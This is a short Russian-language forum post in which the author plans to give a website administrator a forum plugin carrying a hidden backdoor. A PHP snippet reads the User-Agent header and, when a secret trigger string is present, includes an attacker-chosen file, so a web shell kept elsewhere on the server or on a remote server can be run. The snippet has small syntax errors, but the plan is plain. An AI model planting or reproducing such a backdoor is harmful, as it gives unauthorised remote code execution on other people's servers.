я щас экспрементирую на своем компе, а я хочу админу одного сайта дать плагин для forum'a в котором будет удаленный инклуд.

$k=$_SERVER["USER_AGENT"];
это где нить незаметно так

if (strpos($k,"f35761"){ $path=explode(":",$k); include($path[1]);}

а уж юзер агент на такой: f35761:/path/to/shell.php
сменить каждый может, и шелл спрятать далеко на сервере или даже на удаленном сервере